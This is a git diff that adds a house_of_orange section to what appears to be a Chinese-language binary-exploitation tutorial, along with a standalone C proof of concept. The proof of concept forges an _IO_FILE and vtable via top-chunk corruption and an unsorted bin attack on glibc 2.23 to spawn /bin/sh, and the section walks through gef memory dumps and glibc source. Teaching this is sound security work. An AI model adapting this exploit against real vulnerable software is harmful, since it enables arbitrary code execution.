diff --git a/doc/3.3.7_heap_exploit_3.md b/doc/3.3.7_heap_exploit_3.md index 14f8396..80f689b 100644 --- a/doc/3.3.7_heap_exploit_3.md +++ b/doc/3.3.7_heap_exploit_3.md @@ -354,6 +354,536 @@ gef➤ x/8gx &fake_chunk ``` #### house_of_orange +```c +#include +#include +#include + +int winner (char *ptr); + +int main() { + char *p1, *p2; + size_t io_list_all, *top; + + p1 = malloc(0x400 - 0x10); + + top = (size_t *) ((char *) p1 + 0x400 - 0x10); + top[1] = 0xc01; + + p2 = malloc(0x1000); + io_list_all = top[2] + 0x9a8; + top[3] = io_list_all - 0x10; + + memcpy((char *) top, "/bin/sh\x00", 8); + + top[1] = 0x61; + + _IO_FILE *fp = (_IO_FILE *) top; + fp->_mode = 0; // top+0xc0 + fp->_IO_write_base = (char *) 2; // top+0x20 + fp->_IO_write_ptr = (char *) 3; // top+0x28 + + size_t *jump_table = &top[12]; // controlled memory + jump_table[3] = (size_t) &winner; + *(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8 + + malloc(1); + return 0; +} + +int winner(char *ptr) { + system(ptr); + return 0; +} +``` +``` +$ gcc -g house_of_orange.c +$ ./a.out +*** Error in `./a.out': malloc(): memory corruption: 0x00007f3daece3520 *** +======= Backtrace: ========= +/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7f3dae9957e5] +/lib/x86_64-linux-gnu/libc.so.6(+0x8213e)[0x7f3dae9a013e] +/lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7f3dae9a2184] +./a.out[0x4006cc] +/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f3dae93e830] +./a.out[0x400509] +======= Memory map: ======== +00400000-00401000 r-xp 00000000 08:01 919342 /home/firmy/how2heap/a.out +00600000-00601000 r--p 00000000 08:01 919342 /home/firmy/how2heap/a.out +00601000-00602000 rw-p 00001000 08:01 919342 /home/firmy/how2heap/a.out +01e81000-01ec4000 rw-p 00000000 00:00 0 [heap] +7f3da8000000-7f3da8021000 rw-p 00000000 00:00 0 +7f3da8021000-7f3dac000000 ---p 00000000 00:00 0 +7f3dae708000-7f3dae71e000 r-xp 00000000 08:01 398989 /lib/x86_64-linux-gnu/libgcc_s.so.1 +7f3dae71e000-7f3dae91d000 ---p 00016000 08:01 398989 /lib/x86_64-linux-gnu/libgcc_s.so.1 +7f3dae91d000-7f3dae91e000 rw-p 00015000 08:01 398989 /lib/x86_64-linux-gnu/libgcc_s.so.1 +7f3dae91e000-7f3daeade000 r-xp 00000000 08:01 436912 /lib/x86_64-linux-gnu/libc-2.23.so +7f3daeade000-7f3daecde000 ---p 001c0000 08:01 436912 /lib/x86_64-linux-gnu/libc-2.23.so +7f3daecde000-7f3daece2000 r--p 001c0000 08:01 436912 /lib/x86_64-linux-gnu/libc-2.23.so +7f3daece2000-7f3daece4000 rw-p 001c4000 08:01 436912 /lib/x86_64-linux-gnu/libc-2.23.so +7f3daece4000-7f3daece8000 rw-p 00000000 00:00 0 +7f3daece8000-7f3daed0e000 r-xp 00000000 08:01 436908 /lib/x86_64-linux-gnu/ld-2.23.so +7f3daeef4000-7f3daeef7000 rw-p 00000000 00:00 0 +7f3daef0c000-7f3daef0d000 rw-p 00000000 00:00 0 +7f3daef0d000-7f3daef0e000 r--p 00025000 08:01 436908 /lib/x86_64-linux-gnu/ld-2.23.so +7f3daef0e000-7f3daef0f000 rw-p 00026000 08:01 436908 /lib/x86_64-linux-gnu/ld-2.23.so +7f3daef0f000-7f3daef10000 rw-p 00000000 00:00 0 +7ffe8eba6000-7ffe8ebc7000 rw-p 00000000 00:00 0 [stack] +7ffe8ebee000-7ffe8ebf1000 r--p 00000000 00:00 0 [vvar] +7ffe8ebf1000-7ffe8ebf3000 r-xp 00000000 00:00 0 [vdso] +ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] +$ whoami +firmy +$ exit +Aborted (core dumped) +``` +house-of-orange 是一种利用堆溢出修改 `_IO_list_all` 指针的利用方法。它要求能够泄漏堆和 libc。我们知道一开始的时候,整个堆都属于 top chunk,每次申请内存时,就从 top chunk 中划出请求大小的堆块返回给用户,于是 top chunk 就越来越小。 + +当某一次 top chunk 的剩余大小已经不能够满足请求时,就会调用函数 `sysmalloc()` 分配新内存,这时可能会发生两种情况,一种是直接扩充 top chunk,另一种是调用 mmap 分配一块新的 top chunk。具体调用哪一种方法是由申请大小决定的,为了能够使用前一种扩展 top chunk,需要请求小于阀值 `mp_.mmap_threshold`: +```c + if (av == NULL + || ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold) + && (mp_.n_mmaps < mp_.n_mmaps_max))) + { +``` +同时,为了能够调用 `sysmalloc()` 中的 `_int_free()`,需要 top chunk 大于 `MINSIZE`,即 0x10: +```c + if (old_size >= MINSIZE) + { + _int_free (av, old_top, 1); + } +``` +当然,还得绕过下面两个限制条件: +```c + /* + If not the first time through, we require old_size to be + at least MINSIZE and to have prev_inuse set. + */ + + assert ((old_top == initial_top (av) && old_size == 0) || + ((unsigned long) (old_size) >= MINSIZE && + prev_inuse (old_top) && + ((unsigned long) old_end & (pagesize - 1)) == 0)); + + /* Precondition: not enough current space to satisfy nb request */ + assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE)); +``` +即满足 old_size 小于 `nb+MINSIZE`,`PREV_INUSE` 标志位为 1,`old_top+old_size` 页对齐这几个条件。 + +首先分配一个大小为 0x400 的 chunk: +``` +gef➤ x/4gx p1-0x10 +0x602000: 0x0000000000000000 0x0000000000000401 <-- chunk p1 +0x602010: 0x0000000000000000 0x0000000000000000 +gef➤ x/4gx p1-0x10+0x400 +0x602400: 0x0000000000000000 0x0000000000020c01 <-- top chunk +0x602410: 0x0000000000000000 0x0000000000000000 +``` +默认情况下,top chunk 大小为 0x21000,减去 0x400,所以此时的大小为 0x20c00,另外 PREV_INUSE 被设置。 + +现在假设存在溢出漏洞,可以修改 top chunk 的数据,于是我们将 size 字段修改为 0xc01。这样就可以满足上面所说的条件: +``` +gef➤ x/4gx p1-0x10+0x400 +0x602400: 0x0000000000000000 0x0000000000000c01 <-- top chunk +0x602410: 0x0000000000000000 0x0000000000000000 +``` + +紧接着,申请一块大内存,此时由于修改后的 top chunk size 不能满足需求,则调用 sysmalloc 的第一种方法扩充 top chunk,结果是在 old\_top 后面新建了一个 top chunk 用来存放 new\_top,然后将 old\_top 释放,即被添加到了 unsorted bin 中: +``` +gef➤ x/4gx p1-0x10+0x400 +0x602400: 0x0000000000000000 0x0000000000000be1 <-- old top chunk [be freed] +0x602410: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer +gef➤ x/4gx p1-0x10+0x400+0xbe0 +0x602fe0: 0x0000000000000be0 0x0000000000000010 <-- fencepost chunk 1 +0x602ff0: 0x0000000000000000 0x0000000000000011 <-- fencepost chunk 2 +gef➤ x/4gx p2-0x10 +0x623000: 0x0000000000000000 0x0000000000001011 <-- chunk p2 +0x623010: 0x0000000000000000 0x0000000000000000 +gef➤ x/4gx p2-0x10+0x1010 +0x624010: 0x0000000000000000 0x0000000000020ff1 <-- new top chunk +0x624020: 0x0000000000000000 0x0000000000000000 +gef➤ heap bins unsorted +[ Unsorted Bin for arena 'main_arena' ] +[+] unsorted_bins[0]: fw=0x602400, bk=0x602400 + → Chunk(addr=0x602410, size=0xbe0, flags=PREV_INUSE) +``` +于是就泄漏出了 libc 地址。另外可以看到 old top chunk 被缩小了 0x20,缩小的空间被用于放置 fencepost chunk。此时的堆空间应该是这样的: +``` ++---------------+ +| p1 | ++---------------+ +| old top-0x20 | ++---------------+ +| fencepost 1 | ++---------------+ +| fencepost 2 | ++---------------+ +| ... | ++---------------+ +| p2 | ++---------------+ +| new top | ++---------------+ +``` +详细过程如下: +```c + if (old_size != 0) + { + /* + Shrink old_top to insert fenceposts, keeping size a + multiple of MALLOC_ALIGNMENT. We know there is at least + enough space in old_top to do this. + */ + old_size = (old_size - 4 * SIZE_SZ) & ~MALLOC_ALIGN_MASK; + set_head (old_top, old_size | PREV_INUSE); + + /* + Note that the following assignments completely overwrite + old_top when old_size was previously MINSIZE. This is + intentional. We need the fencepost, even if old_top otherwise gets + lost. + */ + chunk_at_offset (old_top, old_size)->size = + (2 * SIZE_SZ) | PREV_INUSE; + + chunk_at_offset (old_top, old_size + 2 * SIZE_SZ)->size = + (2 * SIZE_SZ) | PREV_INUSE; + + /* If possible, release the rest. */ + if (old_size >= MINSIZE) + { + _int_free (av, old_top, 1); + } + } +``` + +根据放入 unsorted bin 中 old top chunk 的 fd/bk 指针,可以推算出 `_IO_list_all` 的地址。然后通过溢出将 old top 的 bk 改写为 `_IO_list_all-0x10`,这样在进行 unsorted bin attack 时,就会将 `_IO_list_all` 修改为 `&unsorted_bin-0x10`: +``` +gef➤ x/4gx p1-0x10+0x400 +0x602400: 0x0000000000000000 0x0000000000000be1 +0x602410: 0x00007ffff7dd1b78 0x00007ffff7dd2510 +``` +这里讲一下 glibc 中的异常处理。一般在出现内存错误时,会调用函数 `malloc_printerr()` 打印出错信息,我们顺着代码一直跟踪下去: +```c +static void +malloc_printerr (int action, const char *str, void *ptr, mstate ar_ptr) +{ + [...] + if ((action & 5) == 5) + __libc_message (action & 2, "%s\n", str); + else if (action & 1) + { + char buf[2 * sizeof (uintptr_t) + 1]; + + buf[sizeof (buf) - 1] = '\0'; + char *cp = _itoa_word ((uintptr_t) ptr, &buf[sizeof (buf) - 1], 16, 0); + while (cp > buf) + *--cp = '0'; + + __libc_message (action & 2, "*** Error in `%s': %s: 0x%s ***\n", + __libc_argv[0] ? : "", str, cp); + } + else if (action & 2) + abort (); +} +``` +调用 `__libc_message`: +```c +// sysdeps/posix/libc_fatal.c +/* Abort with an error message. */ +void +__libc_message (int do_abort, const char *fmt, ...) +{ + [...] + if (do_abort) + { + BEFORE_ABORT (do_abort, written, fd); + + /* Kill the application. */ + abort (); + } +} +``` +`do_abort` 调用 `fflush`,即 `_IO_flush_all_lockp`: +```c +// stdlib/abort.c +#define fflush(s) _IO_flush_all_lockp (0) + + if (stage == 1) + { + ++stage; + fflush (NULL); + } +``` +```c +// libio/genops.c +int +_IO_flush_all_lockp (int do_lock) +{ + int result = 0; + struct _IO_FILE *fp; + int last_stamp; + +#ifdef _IO_MTSAFE_IO + __libc_cleanup_region_start (do_lock, flush_cleanup, NULL); + if (do_lock) + _IO_lock_lock (list_all_lock); +#endif + + last_stamp = _IO_list_all_stamp; + fp = (_IO_FILE *) _IO_list_all; // 将其覆盖 + while (fp != NULL) + { + run_fp = fp; + if (do_lock) + _IO_flockfile (fp); + + if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) +#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T + || (_IO_vtable_offset (fp) == 0 + && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr + > fp->_wide_data->_IO_write_base)) +#endif + ) + && _IO_OVERFLOW (fp, EOF) == EOF) // 将其修改为 system 函数 + result = EOF; + + if (do_lock) + _IO_funlockfile (fp); + run_fp = NULL; + + if (last_stamp != _IO_list_all_stamp) + { + /* Something was added to the list. Start all over again. */ + fp = (_IO_FILE *) _IO_list_all; + last_stamp = _IO_list_all_stamp; + } + else + fp = fp->_chain; // 指向我们指定的区域 + } + +#ifdef _IO_MTSAFE_IO + if (do_lock) + _IO_lock_unlock (list_all_lock); + __libc_cleanup_region_end (0); +#endif + + return result; +} +``` +`_IO_list_all` 是一个 `_IO_FILE_plus` 类型的对象,我们的目的就是将 `_IO_list_all` 指针改写为一个伪造的指针,它的 `_IO_OVERFLOW` 指向 system,并且前 8 字节被设置为 '/bin/sh',所以对 `_IO_OVERFLOW(fp, EOF)` 的调用会变成对 `system('/bin/sh')` 的调用。 +```c +// libio/libioP.h +/* We always allocate an extra word following an _IO_FILE. + This contains a pointer to the function jump table used. + This is for compatibility with C++ streambuf; the word can + be used to smash to a pointer to a virtual function table. */ + +struct _IO_FILE_plus +{ + _IO_FILE file; + const struct _IO_jump_t *vtable; +}; + +// libio/libio.h +struct _IO_FILE { + int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ +#define _IO_file_flags _flags + + /* The following pointers correspond to the C++ streambuf protocol. */ + /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */ + char* _IO_read_ptr; /* Current read pointer */ + char* _IO_read_end; /* End of get area. */ + char* _IO_read_base; /* Start of putback+get area. */ + char* _IO_write_base; /* Start of put area. */ + char* _IO_write_ptr; /* Current put pointer. */ + char* _IO_write_end; /* End of put area. */ + char* _IO_buf_base; /* Start of reserve area. */ + char* _IO_buf_end; /* End of reserve area. */ + /* The following fields are used to support backing up and undo. */ + char *_IO_save_base; /* Pointer to start of non-current get area. */ + char *_IO_backup_base; /* Pointer to first valid character of backup area */ + char *_IO_save_end; /* Pointer to end of non-current get area. */ + + struct _IO_marker *_markers; + + struct _IO_FILE *_chain; + + int _fileno; +#if 0 + int _blksize; +#else + int _flags2; +#endif + _IO_off_t _old_offset; /* This used to be _offset but it's too small. */ + +#define __HAVE_COLUMN /* temporary */ + /* 1+column number of pbase(); 0 is unknown. */ + unsigned short _cur_column; + signed char _vtable_offset; + char _shortbuf[1]; + + /* char* _save_gptr; char* _save_egptr; */ + + _IO_lock_t *_lock; +#ifdef _IO_USE_OLD_IO_FILE +}; +``` +其中有一个指向函数跳转表的指针,`_IO_jump_t` 的结构如下: +```c +// libio/libioP.h +struct _IO_jump_t +{ + JUMP_FIELD(size_t, __dummy); + JUMP_FIELD(size_t, __dummy2); + JUMP_FIELD(_IO_finish_t, __finish); + JUMP_FIELD(_IO_overflow_t, __overflow); + JUMP_FIELD(_IO_underflow_t, __underflow); + JUMP_FIELD(_IO_underflow_t, __uflow); + JUMP_FIELD(_IO_pbackfail_t, __pbackfail); + /* showmany */ + JUMP_FIELD(_IO_xsputn_t, __xsputn); + JUMP_FIELD(_IO_xsgetn_t, __xsgetn); + JUMP_FIELD(_IO_seekoff_t, __seekoff); + JUMP_FIELD(_IO_seekpos_t, __seekpos); + JUMP_FIELD(_IO_setbuf_t, __setbuf); + JUMP_FIELD(_IO_sync_t, __sync); + JUMP_FIELD(_IO_doallocate_t, __doallocate); + JUMP_FIELD(_IO_read_t, __read); + JUMP_FIELD(_IO_write_t, __write); + JUMP_FIELD(_IO_seek_t, __seek); + JUMP_FIELD(_IO_close_t, __close); + JUMP_FIELD(_IO_stat_t, __stat); + JUMP_FIELD(_IO_showmanyc_t, __showmanyc); + JUMP_FIELD(_IO_imbue_t, __imbue); +#if 0 + get_column; + set_column; +#endif +}; +``` +伪造 `_IO_jump_t` 中的 `__overflow` 为 system 函数的地址,从而达到执行 shell 的目的。另外, + +当发生内存错误进入 `_IO_flush_all_lockp` 后,`_IO_list_all` 仍然指向 unsorted bin,这并不是一个我们能控制的地址。所以需要通过 `fp->_chain` 来将 fp 指向我们能控制的地方。所以将 size 字段设置为 0x61,因为此时 `_IO_list_all` 是 `&unsorted_bin-0x10`,偏移 0x60 位置处是 smallbins[4](或者说 bins[6])。此时,如果触发一个不适合的 small chunk 分配,malloc 就会将 old top 从 unsorted bin 放回 smallbins[4] 中。而在 `_IO_FILE` 结构中,偏移 0x60 指向 `struct _IO_marker *_markers`,偏移 0x68 指向 `struct _IO_FILE *_chain`,这两个值正好是 old top 的起始地址。这样 fp 就指向了 old top,这是一个我们能够控制的地址。 + +在将 `_IO_OVERFLOW` 修改为 system 的时候,有一些条件检查: +```c + if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) +#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T + || (_IO_vtable_offset (fp) == 0 + && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr + > fp->_wide_data->_IO_write_base)) +#endif + ) + && _IO_OVERFLOW (fp, EOF) == EOF) // 需要修改为 system 函数 +``` +```c +// libio/libio.h + + struct _IO_wide_data *_wide_data; + +/* Extra data for wide character streams. */ +struct _IO_wide_data +{ + wchar_t *_IO_read_ptr; /* Current read pointer */ + wchar_t *_IO_read_end; /* End of get area. */ + wchar_t *_IO_read_base; /* Start of putback+get area. */ + wchar_t *_IO_write_base; /* Start of put area. */ + wchar_t *_IO_write_ptr; /* Current put pointer. */ + wchar_t *_IO_write_end; /* End of put area. */ + wchar_t *_IO_buf_base; /* Start of reserve area. */ + wchar_t *_IO_buf_end; /* End of reserve area. */ + /* The following fields are used to support backing up and undo. */ + wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */ + wchar_t *_IO_backup_base; /* Pointer to first valid character of + backup area */ + wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */ + + __mbstate_t _IO_state; + __mbstate_t _IO_last_state; + struct _IO_codecvt _codecvt; + + wchar_t _shortbuf[1]; + + const struct _IO_jump_t *_wide_vtable; +}; +``` +所以这里我们设置 `fp->_mode = 0`,`fp->_IO_write_base = (char *) 2` 和 `fp->_IO_write_ptr = (char *) 3`,从而绕过检查。 + +然后,就是修改 `_IO_jump_t`,将其指向 winner: +``` +gef➤ x/30gx p1-0x10+0x400 +0x602400: 0x0068732f6e69622f 0x0000000000000061 <-- old top +0x602410: 0x00007ffff7dd1b78 0x00007ffff7dd2510 <-- bk points to io_list_all-0x10 +0x602420: 0x0000000000000002 0x0000000000000003 <-- _IO_write_base, _IO_write_ptr +0x602430: 0x0000000000000000 0x0000000000000000 +0x602440: 0x0000000000000000 0x0000000000000000 +0x602450: 0x0000000000000000 0x0000000000000000 +0x602460: 0x0000000000000000 0x0000000000000000 +0x602470: 0x0000000000000000 0x00000000004006d3 <-- winner +0x602480: 0x0000000000000000 0x0000000000000000 +0x602490: 0x0000000000000000 0x0000000000000000 +0x6024a0: 0x0000000000000000 0x0000000000000000 +0x6024b0: 0x0000000000000000 0x0000000000000000 +0x6024c0: 0x0000000000000000 0x0000000000000000 +0x6024d0: 0x0000000000000000 0x0000000000602460 <-- vtable +0x6024e0: 0x0000000000000000 0x0000000000000000 +gef➤ p *((struct _IO_FILE_plus *) 0x602400) +$1 = { + file = { + _flags = 0x6e69622f, + _IO_read_ptr = 0x61 , + _IO_read_end = 0x7ffff7dd1b78 "\020@b", + _IO_read_base = 0x7ffff7dd2510 "", + _IO_write_base = 0x2 , + _IO_write_ptr = 0x3 , + _IO_write_end = 0x0, + _IO_buf_base = 0x0, + _IO_buf_end = 0x0, + _IO_save_base = 0x0, + _IO_backup_base = 0x0, + _IO_save_end = 0x0, + _markers = 0x0, + _chain = 0x0, + _fileno = 0x0, + _flags2 = 0x0, + _old_offset = 0x4006d3, + _cur_column = 0x0, + _vtable_offset = 0x0, + _shortbuf = "", + _lock = 0x0, + _offset = 0x0, + _codecvt = 0x0, + _wide_data = 0x0, + _freeres_list = 0x0, + _freeres_buf = 0x0, + __pad5 = 0x0, + _mode = 0x0, + _unused2 = '\000' + }, + vtable = 0x602460 +} +``` + +最后随意分配一个 chunk,由于 `size<= 2*SIZE_SZ`,所以会触发 `_IO_flush_all_lockp` 中的 `_IO_OVERFLOW` 函数,获得 shell。 +```c + for (;; ) + { + int iters = 0; + while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) + { + bck = victim->bk; + if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0) + || __builtin_expect (victim->size > av->system_mem, 0)) + malloc_printerr (check_action, "malloc(): memory corruption", + chunk2mem (victim), av); + size = chunksize (victim); +``` + +到此,how2heap 里全部的堆利用方法就全部讲完了。 ## 参考资料 +- [abusing the FILE structure](https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/) +- [House of Orange](https://www.lazenca.net/display/TEC/House+of+Orange#HouseofOrange-Sourcecode) +- [house_of_orange](http://blog.leanote.com/post/3191220142@qq.com/house_of_orange) diff --git a/src/Others/3.3.5_heap_exploit/house_of_orange.c b/src/Others/3.3.5_heap_exploit/house_of_orange.c new file mode 100644 index 0000000..a71173a --- /dev/null +++ b/src/Others/3.3.5_heap_exploit/house_of_orange.c @@ -0,0 +1,40 @@ +#include +#include +#include + +int winner (char *ptr); + +int main() { + char *p1, *p2; + size_t io_list_all, *top; + + p1 = malloc(0x400 - 0x10); + + top = (size_t *) ((char *) p1 + 0x400 - 0x10); + top[1] = 0xc01; + + p2 = malloc(0x1000); + io_list_all = top[2] + 0x9a8; + top[3] = io_list_all - 0x10; + + memcpy((char *) top, "/bin/sh\x00", 8); + + top[1] = 0x61; + + _IO_FILE *fp = (_IO_FILE *) top; + fp->_mode = 0; // top+0xc0 + fp->_IO_write_base = (char *) 2; // top+0x20 + fp->_IO_write_ptr = (char *) 3; // top+0x28 + + size_t *jump_table = &top[12]; // controlled memory + jump_table[3] = (size_t) &winner; + *(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8 + + malloc(1); + return 0; +} + +int winner(char *ptr) { + system(ptr); + return 0; +}